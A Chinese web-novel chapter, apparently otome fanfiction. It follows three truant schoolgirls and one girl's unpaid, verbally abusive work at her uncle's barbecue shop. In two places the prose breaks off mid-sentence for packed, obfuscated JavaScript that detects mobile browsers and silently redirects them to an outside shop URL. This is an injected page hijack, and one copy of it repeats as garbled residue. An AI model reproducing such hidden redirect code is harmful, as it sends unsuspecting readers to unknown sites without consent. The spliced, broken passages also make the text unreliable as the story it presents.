《[纸房子乙女向]玉灼》 1. 好学生 2017年尾声的冬日里,在一个周四的工作日午后,这家刚开门营业没几个月的电玩城里飘荡着动感的音乐,偏偏客人不算多,称得上一声冷清。 王艺菡和赵颖这两个光天化日之下翘课的女子高中生刚刚结束了一局拳王,坐在机子前有一搭没一搭地闲聊着。坐在柜台后面收费的黄毛正低头刷手机,音量开得震天响。 王艺菡是个发量惊人的活泼女生,哪怕扎着高马尾的发型,看起来也像是炸毛小狗尾巴一晃一晃的。 不过作为挚友的赵颖对此已经习以为常了,她长得漂亮,继承了生母的美貌,偏偏又有些拒人千里之外的冷淡感。然而她平日里总是一副心事很重的忧郁模样,也只有熟悉她的人才能看见她符合这个年纪的另一面。 “要是周喜今天也能出来玩就好了……”王艺菡坐在这没有靠背的椅子上,口中发出了类似于勒叔叔的感叹。 打输了的赵颖随手扯下自己的头绳,重新将原本有些松散的亚麻色头发扎成一个低低的马尾辫,回答道:“人家是回去处理后事,又不是去玩。” “哼,不管她了……说起来老宁怎么还没到?”王艺菡说着朝着大门方向张望了几秒,“真不敢相信世界上居然有比赵颖你还慢的人。” “乱讲,我哪里慢了?老宁这会儿大概在忙着伪造班主任签名,然后名正言顺地从门口保安眼皮子底下开溜啥的吧?”赵颖随口猜测,有点提不起精神,“明明翻个墙就能搞定的事情,偏偏有奇怪的仪式感在里头。” “她这种好学生是这样的咯。” 赵颖不服,反问好友:“嚯,你这话说的,难道我不是好学生?” 王艺菡乐了:“你见过哪个抽烟打电动的翘课高中生会自称好学生?” 赵颖:“……” 她竟然无法反驳。 就在两人进行日常毫无营养的拌嘴之际,电玩城大门口的厚重塑料挡风帘外头倏然间挤进来一个人影,行进间带入了些许外头的寒风。 来人的个子不算特别高,哪怕穿着厚实的冬季外套都可以说是身形清瘦。 这个黑发女生本来长得挺和善的,偏偏脸颊上一道延伸至下巴处,长约5、6厘米的显眼陈年伤疤则是破坏了原本清秀斯文的长相。 乍一看像是哪个社会人妹妹准备上门收保护费了。 “不好意思,我迟到了。”疑似社会人的宁执玉一眼就看见呆坐在街机前闲聊的两个好友,当即笑着走过来,手上还提着点什么东西。 “你知错能改就好,等会儿罚酒三杯嗷……居然已经带着赔礼的礼物来。多客气啊老宁!”王艺涵一边嘻嘻哈哈地调侃着来人,一边探头探脑看着她手里的塑料袋。 赵颖也跟着探头,像是好奇的小动物,口中惊呼:“哇!三杯雪王?宁老板今天发财了!” 宁执玉把带来的饮料放在一旁的空闲街机台上,王艺涵迫不及待地伸手去摸瓶身,隔着薄薄的塑料袋都能感觉里面透出的温暖热意。 “昨天买彩票中了20块,赶紧花掉。”宁执玉解释了两句。 一旁的赵颖对此见怪不怪,她知道这个朋友有个怪癖,就是偶尔会买一注最便宜的彩票试试手气,通常十次里七八次都能中到最少回本的奖金。 先前她们几个朋友也撺掇过宁执玉去买个大彩票来中个大奖,但是不知为何,老宁不愿意这样做并且往往很严肃地解释:“赌博发不了大财。” 小伙伴们被这人的神态震慑:“哦……” 不过下一秒宁执玉就嬉皮笑脸起来:“但是犯罪可以~” “切!这还要你说?刑法里都写着了!” 眼看在这天气里有人请客喝暖暖的热饮,王艺菡自然是心情极好地咧嘴一笑:“老宁,你这偏财运可是我见过最好的……” 宁执玉也有些神秘地笑了,连带着脸颊上那道伤疤都有点扭曲:“有时候我还希望没有呢。” 老王理直气壮:“那不行,你要是没了这财运,今天谁来请我们喝热奶茶呢?” 宁执玉的语气也跟着变得慷慨激昂:“当然是我们敬爱的——王总!请客啦。” 谦虚的王艺菡挥着手表示自己不是王总,但高高翘起的嘴角还是出卖了她的真实心情。 眼巴巴等着分奶茶的赵颖也没跟宁执玉客气,直接打开了外卖的塑料袋。毕竟她们几个都是玩了好几年的小伙伴,从初中一路玩上来的沙雕朋友。 “我看看啊,一杯热的棒打鲜橙,布丁奶茶和芋泥奶茶,都是热的,怎么没杯冷的。” “冷的?这天气喝冷的?”宁执玉被气笑了,“老赵你别挑三拣四的,回头生理期肚子痛就说是我害的。再哔哔我就拿去请别人喝了。” 赵颖假装大惊失色:“什么?你背着我们在外面养了野男人?” 王艺菡选择当一台复读机进行复制粘贴:“什么?你背着我们在外面养了野男人?” “养你们个大头鬼!人类的本质就是复读机——”宁执玉拉开另外一张椅子坐下,吐槽道,“快点给我选!一个个吵死了!” “老王,她好凶哦……呜。” “怎么办啊老赵,我们两个只能相依为命了,这回老周远在外地救不了我们了……” 女孩儿们装模作样地“抱头痛哭”,言笑间却忍不住嬉笑出声。 面对沙雕好友们的日常弱智行为,宁执玉的表情都僵硬了几秒,她重重地叹了口气:“快点选……选剩下的最后一杯留给我。” 最后赵颖拿了那杯棒打鲜橙,王艺菡则是拿走了布丁奶茶——两人默契地将市价最贵的那杯“芋泥奶茶”留给了请客之人。 宁执玉看了她们一眼,也没再说什么客气话,径直撕开吸管包装纸后将尖的那头重重地扎进去。她深深地大吸了一口热奶茶,含着好几秒后方才不舍且缓慢地吞咽下去,原本冻得有点发麻的表情简直像是重新活过来那样。 此时赵颖和王艺菡也喝上了饮料,在讨论“某位富婆朋友在这家电玩城里充了多少钱”这件事。 当听到王艺菡往这家店充了七八百的巨额大款后,不仅是生活拮据的赵颖都瞠目结舌,也令一边忙着喝奶茶的宁执玉脸上的伤疤都抽搐了一下。 “王总包养我们吧。”宁执玉忍不住恳求道。 这回轮到赵颖开启复读机模式:“王总包养我们吧。” 王总眼睛亮晶晶的,帅气一挥手:“可以!都包养!我要在你们之间开后宫——” 大家开始很无厘头地讨论谁来做大的,谁来做小的……赵颖当“正宫娘娘”的希望很大,而宁执玉应该也能捞个贵妃位置。最后是远在外地参加亲人葬礼的周喜因为不知晓此事,以至于沦为了“位分”最低的“官女子”。 老周同学回来要是知道自己成了官女子,多半是要闹腾的。 随着几个人笑闹之间,赵颖的手机响个不停,她拿起来烦躁却无奈地扫了一眼,没有接。 王艺菡问她:“不接吗?” 赵颖烦闷地扣下手机,不去看闪动的屏幕:“我爸的。” 其他两人发出了心领神会的声音:“哦——” 多半是赵颖和王艺菡的今日逃课行为已经被学校发现了,她们一大早就跑了。宁执玉则是等到上午的最后一节课快结束前才假借“上厕所”之名和伪造的班主任签名条子,逃之夭夭。 王艺菡的父母都在国外工作,有钱任性,又宠爱这独女,什么都想办法给她最好的。在那对父母看来自家孩子开心最重要,逃课一两天而已,又不是逃了一两年,有什么好大惊小怪的。 而赵颖的家境……比较复杂,算是某种意义上的“重组家庭”。作为前妻生的孩子,赵颖的父亲一直对她很严厉粗暴地管教,也不关心这个女儿的内心想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088485|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法如何,反正有任何意外状况就打一顿就对了。 至于宁执玉的家庭情况更加蛋疼和复杂,简单来说她如今是寄宿在自己二舅家,寄人篱下的日子也幸福不到哪里去。 好消息是亲生父母不管她。 坏消息是宁执玉都快忘了自己爹妈长啥样了。 王艺菡对于赵颖被打电话催命CALL的事情感到歉意,因为今天的翘课活动是她主动提出并发起的……她当即提议让赵颖今晚来自己家睡觉,避避难。 想起自家的一堆糟心事,赵颖难免苦笑起来,喃喃地说:“算了算了……总得回家去啊。” 王艺涵的表情有些复杂,说不出是难过还是担心,不过她很快就扭头对正在看戏的宁执玉说道:“阿玉,你没被学校通知家长,今晚应该有空吧?要不要来我家玩?” “骚瑞,我今天确实去不了。”宁执玉面露惋惜之色,摆摆手,“晚点我还要回我舅家的烧烤店打工。” “哈?”王艺菡特别不爽道,“我怎么感觉你天天都在烧烤店里打工……你舅不是说一周只要你帮忙三个晚上就好了吗?” 她的恼火并不是冲着友人发出的,而是生气于宁执玉所面临的不公处境。 原本赵颖想到自己爸爸可能的暴怒反应就无法遏制地感到心情一阵沉郁,但她听到这儿时也颇为关切地看着面前的朋友……明明她自己也是泥菩萨过江自身难保,却也为宁执玉的打工这事儿感到不快。 因为大伙儿都知道,老宁的打工——是没有一分钱拿的。 也就是说,她的舅舅一家拿她当免费的未成年牛马来压榨罢了。 面对朋友们的关心,宁执玉阖了阖眼,把种种想要说脏话的冲动都压回心底,重新睁眼时脸上已经恢复了温和如常的神情:“店里上周走了个烧烤师傅,人手不足。我二舅找我挑明说了,这几周估计要我帮忙顶多两天——也就是说,大概一周要干五天左右。” 赵颖皱着眉头问:“绝了,你舅不打算聘请新人?” “咱们这小地方,人才流动率就那个鬼样子。”宁执玉没什么感情的嗤笑一声,“再加上我那抠门二舅开的工资薪酬又低,哪有那么快找到新的倒霉蛋。” “那倒也是。”赵颖格外同情地望着她,“所以阿玉你成烧烤店的御用老倒霉蛋了。” “我去!你不早说?谢谢你提醒我这事儿哈,不说的话我都不知道呢。”说话间宁执玉的表情恢复了平日里那种淡定中带着几分逗乐的味道。 王艺菡双臂抱胸地思考了几秒,忽然认真地说:“干脆我开一家新的烧烤店在你舅家对面吧!我聘请老宁你来当个挂名经理,免得受你舅舅的气……” “谢谢王总的厚爱嗷。”宁执玉哭笑不得地提醒她,“如果您还记得咱们几个都是高二学生那就更好了。” “就是因为我们都还在读书啊!”王艺菡满脸怒容地大声道,“他连最后一点休息时间都不想给你,你还怎么学习?你明明是我们几个中成绩最好的那个!” 宁执玉一时间没吱声。 一说到这个话题,赵颖也开始担心这位学霸朋友的学习情况:“是啊,你今年的成绩都比高一刚进来那会儿下降了好多……贺亚红之前不还找你谈话了吗?你都忘啦。” “我没忘,贺老师的担心也是对的。” 说到这里,宁执玉沉默了片刻,倏然满脸无所谓地笑起来:“这不是一周还剩下两天的自由支配时间嘛。” “放心放心,你们两个别苦着脸啦!我心里有数,会兼顾打工和学业,也不会把自己累垮的。” “……” 剩下两个朋友你看看我,我看看你,谁都说不出一个字来。 也许是今年的冬天太阴冷了。 哪怕是逃课出来玩这样刺激美妙的事情,三个年轻人直到离开电玩城时的心情都没有变得太好。 2. 打工人 三人离开电玩城后也没去哪里,毕竟都到了中午饭点,商议几句后就决定去灯杆坝的一家羊肉汤粉店嗦粉。 吃饭时,宁执玉那碗汤粉没有加太多辣椒油,但她在店里暖气和羊汤的双重作用下还是很快吃得满头冒汗。 王艺菡抽空扫了一眼坐在桌子对面的她,随口问道:“宁执玉,这羊汤你吃得惯吗?” “有啥吃不惯的,我来你们陈水都快五年?还是六年了。记不太清。”宁执玉低头用筷子夹起几根细长的米粉说道。 “我记得你老家在广东啊?”王艺菡故意逗她,围观朋友窘迫的样子是她的一大乐趣,“难怪吃辣不行。” 老宁也没否认:“嗯呢,羊城那边。” 此时赵颖幽幽地凑过来说了一句:“我也吃不太惯辣,原来我也是广东人?” 老王立刻操着一口非常不标准的粤语予以肯定:“嗨咯,靓女。” 赵颖和宁执玉纷纷被这破口音给逗笑了,不过随后在场唯一的外省人发表锐评:“我看赵颖没法当个标准的广东人。” 赵颖不服:“为什么?” “因为我们那儿的人平时都是拿胡建人当下酒菜的。” 宁执玉说这种无厘头言论时依旧一脸笃定地像是在说这道题选A,非常绝对。 “唉,可我不认识哪个胡建人。”赵颖故作苦恼之色。 “没关系。”宁执玉“好心”地安慰道,“回头我帮你抓两位回来下酒。我有祖传的捕捉秘籍……” “好呀,那就拜托你了。”赵颖一本正经地说着胡话,旋即自己也忍不住笑起来。 “我也要!”王艺菡高高兴兴地举手。 宁执玉对此嗤之以鼻:“老王你要什么要,你就会凑热闹。” “不管,宁老板你得雨露均沾,老赵有的好东西,我也得有——” 沙雕朋友们聚在一起总有扯不完的胡说八道,大家都很开心。 闲谈之中,赵颖已经吃完并从自己口袋里摸出一包纸巾,抽出其中一张,递给坐在她旁边的老王并且看着打算抽第二张纸巾。 王艺菡没有伸手去接,反而笑嘻嘻地说:“撕开呗。” “撕成3份?王艺涵你在刁难我吧。”赵颖嘀咕着,但还是举起雪白的方巾纸,以目测的宽度尽量让它撕得等长一些。 边撕,这姑娘还边吐槽:“还好老周不在。” ——意思是一张方巾纸撕成4份就有点太过分了。 宁执玉想说有没有一种可能:四个朋友聚在一起吃饭时,我们可以用两张纸来两两对半撕开呢? “冤枉啊!”王艺菡满脸无辜地放下自己的筷子,她也刚好吃完,“这可是老宁最爱的神秘交友仪式感之一,不是吗?” 宁执玉也笑了:“答对了,可惜没奖品。” 在她的老家那一带,朋友同学们在吃饭时往往会两人或者三人分享一张纸,而且最好是“德宝牌”的香江代购纸巾。 那深蓝色的塑料包装纸一甩出来,倍儿有面子。 这个分纸巾的行为并不是意味着瞧不起对方或者抠门,而是说“咱们的关系好到共用一张纸巾也没人会心生芥蒂”的意思。 当然啦,用的都是新纸巾,没有人会用别人使用过的纸巾擦自己嘴巴。 吃过饭,宁执玉就打算回学校了。毕竟苦逼兮兮的高二学生下午还要上课呢……倒是赵颖和王艺菡觉得既然已经被学校发现逃课这事儿,索性破罐子破摔,继续在外游荡,享受着高压学习之下来之不易的自由和快乐。 不过对于宁执玉决定回去上课的这个决定,两人也没有强揪着不放。 因为她们知道这家伙的学习时间和放学后的休息时间确实少得可怜,便没有逼迫宁执玉一起强行逃课,反而驱赶这个学霸赶紧回校。 “行了,你快回去好好学习,天天向上。”她们开始赶人。 宁执玉之所以愿意跟这两个行事作风看起来不像是传统意义上好学生的朋友一起玩,很大的一部分原因是她们会尊重自己的决定。 ——而这对她而言就算是非常友好了。 “爱你老赵,还有老王,明天见。”宁执玉很平淡地说出了貌似不得了的话语并且摆摆手。 “……”,赵颖难免呆了一下,毕竟生活中很少有人会对她使用“爱”这个字眼。 不过在看清楚老宁那种似笑非笑的逗乐表情后,她立刻反应过来这大概又是什么最近流行的新梗台词。 于是她忍不住扯了扯嘴角。 这朋友啥都好,就是没事爱玩梗…… 而王艺菡则是瞪大眼睛,像是一只震怒的小狗:“什么叫‘还有’,而且你没说‘爱你老王’?宁执玉你几个意思!” 宁执玉脸上那种似笑非笑的意味更浓厚了几分:“别在意这些细节。” “这是细节吗!这分明是你不爱我还变心的证明——我要闹了!”王艺菡很活泼地嗷嗷直叫。 赵颖嬉笑着把老王往远离学校的另一个方向拖走,一边走还一边回头叮嘱:“明天周五我们也不一定会回去,老宁你在学校苟着点啊。别被人欺负了。” “好。”宁执玉从善如流地改口,“那下周见。” 此时王艺菡开始美美地说梦话:“嗯嗯!顺便把我们的那份也给学了,最好再帮忙写写作业……” 老宁被活活气笑了:“想屁吃啊你。” 宁执玉站在原地目送着两位好友的背影拉拉扯扯地消失在街角,直到确认人走了,她脸上的笑容才一下子消散殆尽。 取而代之的是某种类似面具般没什么喜怒波动但还算稳定的表情。 这是宁执玉最惯用的招牌脸色。 既不会莫名其妙地得罪什么人,也尽量不会因为这张破相的脸而恐吓到别人……但这种事也不好说。 听说还有隔壁班的同学觉得她背地里是混社会的,最大的证据就是脸上的伤疤。 一看就不是好人。 ………… …… 晚上九点四十,背着书包的宁执玉在结束了今晚的晚自习后跟一些同为走读生的同学们离开校园。 身为走读生的她当然没有住宿。 住宿的话,额外掏一笔住宿费给学校不说,而且谁来给自家舅舅的烧烤店当牛马打工人? 想到这里,这个十七岁的女孩子就忍不住嘲讽地扯了扯自己嘴角。 当宁执玉来到芭蕉冲路一家临街的商铺,时间已经将近晚上十点了。 “徐记烧烤店”这家毫无新意的名字挂在店门口的招牌上,陈旧的霓虹灯将其绽放出廉价而平凡的光芒。闪烁的暖色灯光倒映在门口存放食材烤串的两台大冰柜的玻璃上,为这个寒冷的冬日增添了几分虚幻的暖意。 这家烧烤店的占地面积不算太大,一楼也就七八十平米,这还是连着后厨和收银台的面积,因此外头的大堂里也就摆着八张四人桌和一个大的多人圆桌。 这家店还有二楼,不过上面是以几个卡座和两个大小包厢为主。 以往夏天的话,人们会更倾向于坐在店外头吹吹夜风来吃烧烤。但如今是12月,虽然陈水的冬季极少会出现下雪现象,但也没有哪个神人会乐意在外头被冻个透心凉地吃烧烤。 店里好歹开着暖气,这不香吗——也就是说,估计今晚二楼也有人在吃饭。 这个店铺的位置并不算热门商业街区,人流量普通,主要做的都是街坊邻居和附近放学下班之人的生意。有时候宁执玉还会遇到前来就餐的自己同学……不过她二舅嫌她这张脸会吓到客人,就让外甥女平时尽量待在后厨干活,除非大堂那边实在忙不过来才会偶尔出来帮忙。 宁执玉也不介意,反正她的人生都这个样子了,后厨就后厨待着,而且打工期间遇到同龄人又能怎样? 丢脸?没有那种事,你们这群消费者上帝快点请我喝杯饮料才是正事儿。 宁执玉进去的时候习惯性地扫了一圈今天店里的入座率,发现一楼起码坐满了三分之二的桌子,唯一的好消息是大圆桌没人消费……她心中哀叹自己今晚估摸着是别讨到什么好了。 一个端着烤串和托盘的服务员阿姨风风火火地从后厨窗口方向走来,见到她时顺口打了声招呼,送菜的动作根本没有停:“来啦小玉?” “嗯,雯姐晚上好,今晚店里很忙啊。” “忙得很!老板娘刚才还在说你咋还没回来……” 送完菜的雯姐来不及闲聊什么,一个转身又被客人使唤着去拿多几瓶啤酒过去。眼看这位阿姨让开路,宁执玉则是立刻看到了趴在不远处收银台后方那个正在算账的中年女人,她便闷闷地喊了一声:“舅妈。” “诶,小玉回来啦。” 舅妈的外表高高瘦瘦,总是穿着一身不知真假的名牌衣物,看得出年轻时候应该也挺漂亮。可惜就是脸上颧骨很高,平添了几分刻薄之感。 如今舅妈人到中年,但还是执意将自己的一头长发烫成大波浪卷的造型,就连脖子和手腕上都穿金戴玉的,确实有几分老板娘的富贵架势。 宁执玉不知道舅妈手腕上那抹翠绿是真是假……她也不想知道。 舅妈从账本中抬头看向她,心情不错地抽了抽嘴角,与其说是微笑,倒不如说是敷衍地做个长辈应有的和善表情。 “快换身衣服去后厨帮忙,你舅和小李今天那边都快忙不过来了。”她习惯地发号施令。 “哦。”宁执玉干巴巴地应道,上二楼放东西外加换衣服去了。 等宁执玉几分钟后换了身专门用来干活的旧衣服下来,钻进后厨时,当即能感觉到空气中有着一股明显的无形热浪迎面扑来。 店外头的空气很冷,因此大堂和二楼待客区都开了空调暖气,唯独这后厨的烟火气息缭绕,明火炝锅的油烟与木炭灼烧间冒起的白烟被呼啸的抽风机给瞬间抽走。 前几天店里辞职了一个烧烤师傅,说是要准备回家过年。因此如今后厨里只剩下宁执玉她二舅老徐以及一位姓李的炒菜师傅。 穿着一件半旧老头背心、脖子上挂着一条白毛巾的老徐听见脚步声后立刻回头,戴着厚实白手套的大手中还捏着一把烤串。 见到来人是外甥女,老徐那张圆滚滚且布满汗珠的脸上当即露出了如蒙大赦的激动神情:“小玉,你可算来了!刚刚前头的客人说碗柜里的碗都不够了,你快去洗一点……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088486|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宁执玉取下一旁墙壁上挂钩处的防水围裙系在身前,换上厨房专用的防滑靴,言简意赅地回答:“这就来。” 作为寄人篱下的孩子,她在这家人面前素来是沉默寡言的时候比较多。 就这样,二舅老徐负责店里最核心的烧烤业务,李师傅则是在炒菜的间隙中忙里偷闲地刷着擦边美女短视频,时不时发出一声怪笑,但很快淹没在后厨的杂音中。作为未成年的高中女生,宁执玉要帮忙干的事情都是些烦琐而没人乐意干的清洁工作。 洗碗,送进消毒,泡铁签子,洗刷,收桌,给客人点菜和拿酒……当她开始把洗洁精往后厨的地上洒的时候,心里只有一个念头:今天终于快结束了! 零点时分,店铺关门打烊后,作为员工的雯姐和李师傅都准时下班走了。 就连舅妈也提前回去监督两个表弟的休息,只剩下胖胖的二舅坐在大堂的一把椅子上休息,擦擦身上的汗,顺带跟宁执玉交代明早的一些注意事项。 “小耀嚷嚷着说要吃什么面包,你舅妈已经给他买好了,放在冰箱里,你明早要加热……再搞点牛奶鸡蛋。” “小耀”是老徐的小儿子徐昌耀,今年读小学三年级,在宁执玉看来是个毫无教养的小混球。 “知道了,舅舅。”宁执玉面无表情的拿着个点菜牌的背面纸张在唰唰地写。 老徐托着自己三四层的厚实下巴琢磨了几秒,补充道:“外婆估计要喝粥,不过不用小玉你来熬,那老太婆明早自己会过来煮,别人煮的她不爱吃。” “好。” “我明早要吃鸡婆头(一种扯面),小李今天多做了点炸酱刚好可以加进去……小玉你会做鸡婆头吗?” 宁执玉的脸上连一点感情变化都懒得给:“不会。” “不会得学啊!”老徐很吃惊般地将眼睛一瞪,“以后嫁人怎么办?婆家得嫌弃你的!” “……” 天知道这个时候的宁执玉在心里到底怎样问候自己的这位监护人舅舅。 但是寄人篱下,有时候她并不会去争夺什么口舌之利,因此转而变得一脸认真地敷衍道:“以后有机会的话会学的。” 老徐对这个外甥女的“认错态度”很满意,自觉身为长辈的自己劝诫小孩儿往正轨方向多走了几步,一边站起来一边说道:“你最近学习怎么样?” 宁执玉愣了愣,没想到这男的还会关心这个,因此谨慎地回答道:“还……还行?” “你们班主任贺老师今早打电话过来说了,你跟去年的成绩相比,足足下滑了几十位的排名。”二舅好像真心担忧地劝诫道,“小玉你都高二了,自己的学习得心里有数!别成天跟那些不三不四的朋友玩在一起!” ……原来在你看来,害得我没时间学习的罪魁祸首不是你本人,而是我的朋友们? 宁执玉阴沉沉地将视线从点菜板上抽离,抬头看向比自己高壮一大圈的长辈,忍着怒气开口反驳道:“她们不是不三不四的朋友。” 她虽然有点气恼班主任贺亚红怎么什么屁话都跟自己这个监护人讲,但比起将怒火发泄到不清楚自己家庭情况的师长身上这件事,她更不满于二舅是如此评价自己的朋友们。 搞笑,你的狐朋狗友们就很上得了台面? 胖子老徐没想到原本温顺的宁执玉会因为自己的随口一句话就露出这种不满的情绪,他当即也有些火大了,音量提高:“你说什么!姓宁的你说这话是什么意思?你居然为了几个外人来跟舅舅我吵架?” “……”宁执玉咬着牙,却没有再说话,只是垂下了手,一副老实听训的样子。 但是二舅还是不解气,指着她的鼻子骂道:“他妈的,宁执玉你这没良心的狗东西!你跟你那死鬼老爹一样不靠谱!” “要不是看在我姐的面子上,你以为我想管你啊?你妈这些年没给过老子一分钱,我还不是含辛茹苦地把你拉扯长大?你怎么一点感恩都没有!” “好啊,现在翅膀硬了是吧!姓宁的,有本事你就滚出去,死外头,我都不会多看一眼——” 这个中年男人肆意地将挤压一天的工作压力和疲惫全都通过满含怒火的言语宣泄在这个外甥女身上。 身形清瘦的高中女孩站在他面前,就像是面临狂风暴雨的一棵小树苗,摇摇晃晃,几欲摧折。 但她始终面如铁石般看着这个男人。 老徐最后骂累了,再加上舅妈打电话问他怎么还不回来后,他穿上外套后就骂骂咧咧地离开了店铺。 “我今天说的话你给我记住!在学校里好好学习,少给我惹麻烦!” 回答他的,是宁执玉面无表情地拉下前门铁质卷帘门的最后一声巨响。 轰! 直到确定二舅不会再半路杀回来,宁执玉的脸上才涌现出了一抹鲜明的怒火。 她动作极重地拉开最近的一张椅子坐下,把脸埋在手心里,一时间胸膛和肩膀都剧烈地起伏着。 忽然宁执玉注意不知哪里传来了“格格”的怪异声响,她将注意力重新集中了片刻,这才意识到是从自己几乎要咬不住的牙齿中传来。 “……冚家铲!”她咬牙切齿地骂道。 3. 我们不要 虽然无论是情绪还是脑子都很疲惫了,宁执玉深知自己今日份的工作还没完成。 挨骂归挨骂,可倘若跟流落街头、无法上学这个结局相比,她觉得自己还是能够再忍耐多一段时间的。 再等等……到上大学后就好了…… 想着这些事情,宁执玉还得把大堂里那几张堆积着残羹冷炙的桌子擦擦抹抹,将每桌底下的垃圾倒进泔水桶,并且在那之前挑出玻璃酒瓶和易拉罐——玻璃啤酒瓶在这年头已经不值得几个废品回收费了,倒是易拉罐还值点钱。 宁执玉面无表情地将空瘪的易拉罐每个都重重地踩扁,以此节省存放体积。随后她将这些扁扁的小可爱统一放进一个空余的饮料瓶纸箱里,打算收集几箱后再一次性送到废品收购站去。 此外,她还需要在店里拖地,以及将堆积如山的泔水桶拉到最近的垃圾站去倒掉。 最后,给烧烤店的后门上锁就差不多了。 ……以上这些,就是宁执玉在这家烧烤店里的主要工作。 等浑身热腾腾的她穿着短袖和厨房围裙,一把打开后门,拉着泔水桶走出去时,顿时感觉到原本被情绪和体力劳动所双重折磨的发烫脑子被迎面吹来的冷风一吹,愣是起了一身鸡皮疙瘩。 “嘶!早知道穿个长袖了。” 宁执玉迟疑地看看自己身上的橡胶手套、长围裙和靴子,觉得这般模样去加个外套实在不方便,而且一身油烟味儿和垃圾的混合怪味,实在是让她自己都心疼那干净的外套……所幸垃圾站也就在十几米开外的位置,干脆速战速决得了。 陈水是个五线小地方,凌晨一点多的街道上已经没几个人了,只有沿街的路灯依旧稳定地散发着昏黄的灯光。 顶着寒风的宁执玉一个人单手拖着满满当当的深绿色泔水桶走在路上。桶身底部的塑料滑轮与水泥路面发出了轻微的磕碰声响,但这无伤大雅,因为她很快就看见了同样堆满着各种垃圾的目的地。 搞快点搞快点…… “老宁?” 有人忽然在不远处的昏暗中不太确定地叫唤了她一声,宁执玉吓得差点整个人蹦起来,因为她在一瞬间想到了小时候听父亲讲过种种关于“夜半叫名”的鬼故事。 这种故事有很多民间版本,大概核心思想就是半夜有人叫你名字时,哪怕是熟人,都千万不能回头。因为一回头,肩膀和头顶的“三盏灯”就会灭掉一盏,等三灯全灭了,夜行之人也就要被鬼给害了。 完蛋,倒霉死了。 宁执玉开始反思是不是今天中午伪造贺亚红签名的条子跑出去跟小伙伴们吃喝一顿的报应,不然今天怎么会那么倒霉呢? 先是被舅舅莫名其妙地臭骂一顿,然后又是半夜倒垃圾都能撞鬼…… 胡思乱想的宁执玉根本不敢回头,只是依旧死死拽着身后的泔水桶握把,脚下的速度却明显加快了不少。 她这一跑,对方也惊了。 “……宁执玉!”那人似乎恼了,叫得更大声,并且听声音的远近是正在靠近自己! 然而当听到脚步声靠近时,原本手上戴着橡胶手套的宁执玉不知何时脱掉了其中一只,从裤兜里摸出了一件物品,骤然转身对着后者的方向照过去—— 半条街的昏暗地带都被照得跟白昼一样。 是战术手电。 宁执玉就是这么一个连做清洁工作都会随身携带保命物品的人。 强烈的白光如洪流般来得猝不及防,令赵颖下意识地整个人的身子后仰,扭头,抬起手臂遮挡眼前这流明大得惊人的光源。 同时她气急败坏地大喊澄清:“是我啦!赵颖!” “啊?”宁执玉下一秒关掉了手电,露出她那张有些惊讶和愕然的脸,“老赵?这么晚了,你怎么还在外头晃悠。” “这话该是我对你说才对吧……”赵颖察觉到刺目光源消失,放下手,睁眼想去看清楚面前的朋友。 这时候她却感觉双眼依旧发痛,视野里漂浮着形状不一的亮纹斑块,显然这是被强光近距离照射后的短暂后遗症,这令她气得忍不住骂道:“我服了,宁执玉你有病吧?” “抱歉抱歉,还好我没有开最高档的照射功能。”宁执玉连忙放下泔水桶,快步走过来查看情况,“老赵你大半夜突然冲出来,我还以为你是鬼呢。” “……” 赵颖被气得说不出话来了。 还好,被强光照射的时间不算长,赵颖在原地闭着眼睛缓了两分钟后,总算能勉强看清楚周围的环境以及宁执玉那张写满内疚情绪的脸。 “对不住啊,老赵。”她又说了一遍。 见到朋友道歉态度良好,赵颖立刻原谅了她。 毕竟她本来就是半夜偶遇老宁后很惊喜地想要过来跟打声招呼,没想到把人给刺激得直接掏出战术手电对着自己的眼睛一通晃…… “所以你在干嘛?”赵颖问。 “倒垃圾呀。”宁执玉指了指不远处的垃圾站,“你在这儿等我一会,我去倒个垃圾再回来说话。” “好。要我帮忙吗?”赵颖很乐意帮朋友一些力所能及的事情,虽然她打心眼里觉得这个泔水桶很脏的样子。 宁执玉似是有点开心地笑了笑:“不用,你在这儿休息就行。” 直到看着好友再次拖拽着那满满当当的垃圾桶走远,赵颖才忽然注意到宁执玉身上穿的居然是短袖…… “牛逼,不怕冷啊这人。” 现在晚上外头只有六七度,外加陈水的气候阴冷,属于南方的那种冷。穿着短袖和围裙干活这种事实在是有点突破赵颖对烧烤店打工人之前的辛苦设想了。 当发现外表并不算强壮的宁执玉居然能把整桶泔水垃圾都扛起来,全部倒进大垃圾桶后,赵颖都惊了几秒。 这家伙力气不弱啊。 倒完泔水后,宁执玉又用垃圾站自带的水龙头和水管把烧烤店的泔水桶给里外冲洗干净,这才拖着空荡荡的桶子往回走。 走到赵颖身边,她朝这朋友打了声招呼:“我搞定啦。走吧。” “哦……”赵颖犹犹豫豫地看着她,最后还是忍不住问,“老宁你不冷吗?” 宁执玉:“神经,我当然冷啊。说的什么废话。” 她本来是随口打趣,没想到赵颖下一刻开始脱她自己的校服外套。 “那我这件先借你穿吧。” 不得不说,我们老赵在仁义这块从来是没话说的。 宁执玉哭笑不得地拒绝了:“诶,别别,搞脏了你的衣服就不好了。反正我家店离这儿不远,里头没外面冷,去坐坐?” 赵颖明显迟疑起来。 宁执玉见她这表情顿时明白了什么,赶紧补充道:“我舅舅他们都回去了,店里今晚就我一人看店。” 赵颖立刻松了口气:“那行。” 她并不喜欢宁执玉的二舅那一家人,哪怕那些大人表面上会客客气气地称呼她们几个为“小同学”。 